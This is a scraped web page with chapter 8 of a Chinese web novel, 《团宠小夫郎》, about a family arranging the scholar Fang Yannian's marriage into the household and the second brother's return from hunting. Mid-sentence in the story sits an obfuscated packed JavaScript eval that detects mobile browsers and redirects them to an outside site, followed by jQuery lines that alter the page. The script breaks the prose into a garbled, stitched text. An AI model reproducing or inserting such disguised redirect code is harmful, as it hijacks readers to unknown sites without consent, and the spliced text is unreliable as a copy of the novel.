8. 二哥下山
作品:《团宠小夫郎》 两厢说开之后,沅宁心中悬着的巨石落下,还因为方衍年对他的重视,简直比吃了没冲水的蜜糖还要甜。
天上那团厚密的云不知道什么时候被风吹跑了,阳光直直照下来,虽然照不进屋子里,但房间里也因此变得亮堂起来。
沅宁拉着方衍年的手,轻轻晃了晃,就见他的书生郎脸颊浮出一层薄薄的颜色,显得气色好了许多,倒衬得那张脸更加好看了。
“我、那我去和岳父他们商量一下……”
也不知怎的脸皮这样薄,竟就这样跑出去了,然后被门外盯梢的一大家子人给捉了去,一下午都没能放走。
商量婚事可不是几句话就能定下来的,尤其现在家里因为沅宁的并入不敷出,原本去年还是个丰年,好容易攒下来些钱,是打算用来办亲事的,沅宁一生病便全都用了。
“家里也不愿委屈你,只是当下实在是拿不出这么多来……”
既然注定要成为一家人,沅家人便开诚布公地和方衍年商讨起来。家中并非一直都这么捉襟见肘,虽然家里的田地要等秋收才能有一笔收入,但家里几个儿子争气,二儿子时常会打些猎物回来补贴家用,三儿子虽说是学徒,每月拿不到几个月钱,但乡里乡亲的看好了病,总是要提一些鸡蛋肉菜的去感谢,倒也时常分的到一些给拿回来。
家里大儿媳妇也能干,隔两日去山里捡柴火,会顺带挖些野菜回来,日子虽然不富足,但也饿不着,甚至隔三差五还能吃上回肉,至少在吃肉这方面,还是赶得上村里平均水平的。
农闲的时候,村里还有好些人十天半个月都见不着荤腥,更有些家里田地不多的或者佃农,一年到头只有过年的时候才能吃上顿肉。
如今宝儿身体有所好转,还有他哥亲自照料着吃药,药钱方面倒是花销不多,若是有意存一些,倒是出不了多久,就能攒下来一笔银钱。
方衍年家里只剩这一个独子了,就算沅家人强把人绑了过门,这文弱书生也反抗不了什么,不说家里最小的崽子,就连大儿的媳妇都能把人撂倒。
但沅家并非那些丧良心的人家,既然谈好了入赘,那么该给的“聘礼”也是得给的,人家孤身一个人赘进来,今后还要读书科举,身上有点银子总是必须的。
只是家里现在暂时还拿不出钱来,所以沅家人商量着,让方衍年先住过来,老二这次下山把野物卖掉换的那些钱,恐怕得先紧着大房那边送一份礼,剩下的还要拿来置办席面。
怎么说方衍年也是考上了童生,到时候两件事一起办了,也不会让村里人看笑话。
方衍年也是没想到沅家人这么实诚,说是入赘还真就要给他准备“聘礼”。
他这人也是想得开,不就是吃软饭嘛!就凭他夫郎那张脸,倒贴他都愿意。
而且这个吃软饭,还是真热汤热饭,隔三差五有肉吃,味道不必星级酒店差的那种。
五谷不分的方大少爷仅凭着之前的记忆每天煮点糊糊吃,都快把自己养死了。更何况他有原身的记忆,知道原身之前开的伙食怎样,虽说十天半个月也会去买一点肉吃,但这没有经过选育过的土猪肉腥臊味儿重的很,家里又没有调料,每次就是把肉白水煮熟放点盐,那味道吃不了两块儿就打吐,难怪这副身体严重营养不良。
方衍年恨不得今天就搬过来住,但这边的屋子比他那边的条件还差几分。
虽说父母离世之后,那些个吃人不吐骨头的亲戚来他们家,把他们家的好几间屋子都给拆了,将砖瓦拉走给自家盖房子去,但多少还是给方衍年剩了两间屋子和一个草棚子当厨房的。
先前方衍年就打量过,沅家的屋子都只能算茅草棚,也就沅宁的房间多少要好一些,他都怀疑但凡来一阵风,屋顶都能被吹跑。
只是他那边就两间屋子,住不下这么多人,而这边暂时也没地方给他住,方衍年过来,要么直接住进沅宁的房间,要么就是睡柴房。
村里人讲究不多,很多人成亲直接到里正那里登记下,人住过去就做数,连席面都不一定摆,没那么多讲究。
但方衍年这人还是很有底线的,就算抛开年龄不谈,宝儿都还生着病,他也不能跟个畜生似的直接往人房里钻。
“叔婶,要不这样,我先过来住柴房,把我老宅那边还有两间瓦房给拆了,过来修两间屋子……”
“这怎么行!”
方衍年的话刚说出来,就被沅家人驳回了。
“咱们又不是那起子黑心肝的,怎么能将你家房子给拆了,那是你的私产!孩子,婶子知道你人实诚,但也不能这么不为自己考虑啊。”
什么叫做没有对比就没有伤害,原身父母离世,要不是有沅家帮衬着,方衍年连那最后两间砖瓦房都要被亲戚拆走,现在他都即将入赘,沅家人却不愿意动他的财产。
“叔婶,我知道你们是为了我好,但我今后住过来,房子空着也是空着,久了不住人容易坏不说,谁知道会不会被我那些叔伯兄弟偷偷给拉走。”方衍年想的倒是通透,“可那些个好砖好瓦的拆了过来垒,多少我还住得上,怎么能算我亏呢。”
沅家人倒是很快就被方衍年给说服了。
“不愧是读过书的孩子,还是你有主意,孩子你放心,叔婶也不会贪你家的砖瓦,到时候你那房间就挨着宝儿的房间垒起来,他那边的墙结实,等房子垒起来了,你和宝儿睡一间,另一间留给你当书房,你也能好好准备科考。”
方衍年感觉自己好多年都没遇到过这么淳朴的人了,他爹妈对他都没这么好过。
“书房……”他刚想回绝,说自己暂时不想继续科举了,就被姜氏给按了下来。
“书房一定得要,孩子,你不用为了别的事操心,家里多口人吃饭还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126750|180090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是养得起的,等你今后考上秀才,不仅能分五亩的良田,每个月还有二两银钱作补贴,到时候全家都跟着你沾光,哪里还会差好日子过。”
方衍年此前没了解过科举,现在一听,别说,他还真有点心动。
这跟大学生毕业包分配有什么区别?
吃尽了时代黑利的方衍年真没想到自己穿越到了古代,还能享受上岸就能啥也不干白领工资的事情,搞得他都有点想去科考了。
但方衍年多少对自己几斤几两还是有数的,嘴上说着吃软饭,他也不可能真当个白吃白喝的蛀虫啊,起码得先赚点钱起来。
方衍年还没来得及思考赚钱的门路,忽然听到远远一声嗓音浑厚的吆喝。
“爹、娘!”牛高马大穿着件无袖坎褂的男人还没进院子就扯着嗓子喊,“宝儿!瞧哥给你带什么来了——”
“小叔!二叔回来啦!”家里小崽子反应最快,撒脚丫子就往沅宁的屋子里跑,把人给扶到院子来。
“二娃回来了。”一家人见到提前下山的沅令舟又惊又喜,“不是才去山里没几天吗?”
“娘!”高大的男人身上挂着一把弓,腰间别着两把刀,刀下面压着野物皮子缝的衣服,显然是下山之后热着了,就把皮子给脱下来系在腰上。
来人背着个大背篓,下山还不忘带一捆柴,但因为背篓里装着东西,柴只能捆在背篓上面,堆着高高一摞,跟座山似的走进了院子。
“哎哟,这不是方家小子么,今天怎么过来了。”这沅令舟说话声音跟打雷似的,也不要人搭把手,自己就把背篓卸下来,那么一大抱柴,单手就给拎起来,半点不客气丢给他大哥去。
“我的儿,现在可不是方家小子,要叫方童生了。”姜氏笑得见牙不见眼,给沅令舟端了一大碗热茶出来,“小年考上童生了,还专门提了礼过来,这不正在商量着婚事么。”
高大的汉子脸上露出个满意的笑,三两步走过去捏着方衍年的手上下一晃,差点儿没把方衍年甩出去。
“哥你收着点儿劲,天气转热先把水喝了吧。”沅宁被小侄儿搀着出来,就看见他哥故意欺负人。
说来也是奇了怪,他哥这性子,是怎么十天半个月一个人在山上呆得住的,一家子人最爱热闹的就是他。
“啧啧,人都还没过门,胳膊肘都拐村尾去,小时候白疼你了!”沅令舟端过来海碗咕咚咕咚喝了个精光,摸了把嘴角的水渍,在皮子上擦干净手,这才神神秘秘从怀里掏出来几个圆滚滚的东西。
“亏我还记着你说的事情,下来之前专门绕路去溪边的荡子里好一番摸寻,野鸭屁.股底下给你抢来的蛋,你摸,还是热乎的呢!”
沅宁扶着椅子坐下,也不伸手接,还笑:“真不愧是二哥,还有这本事在身上,都不用去村里借不下蛋的母鸡,揣你怀里说不定就能孵出来。”